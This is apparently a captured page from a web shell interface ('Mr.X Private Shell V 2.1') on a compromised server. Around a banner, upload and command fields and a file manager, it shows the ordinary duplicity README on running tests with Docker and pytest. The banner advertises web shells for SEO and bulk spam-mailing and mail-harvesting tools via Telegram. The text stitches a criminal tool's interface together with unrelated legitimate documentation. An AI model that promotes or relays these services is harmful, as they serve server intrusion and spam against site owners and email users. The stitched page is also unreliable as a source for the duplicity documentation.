__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# Testing duplicity

## Introduction

Duplicity's tests are code, unit, and functional tests contained in the /testing folder of the main repository.  
There is one containers for each version of Python that we actively support.

## Running tests on your branch

The recommended approach is to test duplicity using Docker, to ensure that you are running tests in a known-good
environment. You can run tests on your branch as follows:

1. Install Docker
2. cd [BRANCH FOLDER]/testing/docker/dupCI
3. `./build.sh` to build and to start the containers.  
4. `docker compose up` to start the tests.  Results will show on the screen.
5. `docker compose logs -n1` to show the last line of each containers logs.
6. When you are finished, exit the Docker container and run `docker compose down` to delete the containers.

Please test your branch using this method and ensure all tests pass before submitting a merge request.

The decorator `@unittest.expectedFailure` can be used to commit a known-failing test case without breaking the test 
suite, for example to exhibit the behaviour in a bug report before it has been fixed.

## Manual testing and running individual tests

1. Docker containers
Even if you wish to run tests manually, we recommend that you do this inside the provided Docker container to ensure
that you have a clean and reproducible environment with all required dependencies for executing these. Please follow
steps 4 and 5 of the above section titled _Running tests on your branch_.  For running a single test, set 
`PYTEST_ARGS` either with an export like `export PYTEST_ARGS=testing/test_code.py` or a temporary setting like 
`PYTEST_ARGS=testing/test_code.py docker compose up`.
2. Use `pytest` locally if you want to test code on your machine.  You will need to have installed See 
https://docs.pytest.org/en/stable/contents.html for complete instructions on using `pytest`.
See _Dependencies for testing_ to setyp your environment.

## Dependencies for testing
If you should prefer to execute the tests locally without using Docker, see the Dockerfile in
`testing/docker/dupCI/Dockerfile.py3*` for requirements to correctly set up your environment.

Filemanager

Name Type Size Permission Actions
examples Folder 0755
NEWS.Debian.gz File 520 B 0644
README-LOG.md File 1.25 KB 0644
README-REPO.md File 618 B 0644
README-SNAP.md File 3.17 KB 0644
README-TESTING.md File 2.12 KB 0644
README.md File 3.39 KB 0644
changelog.Debian.gz File 1.57 KB 0644
copyright File 3.58 KB 0644
requirements.txt File 489 B 0644
Filemanager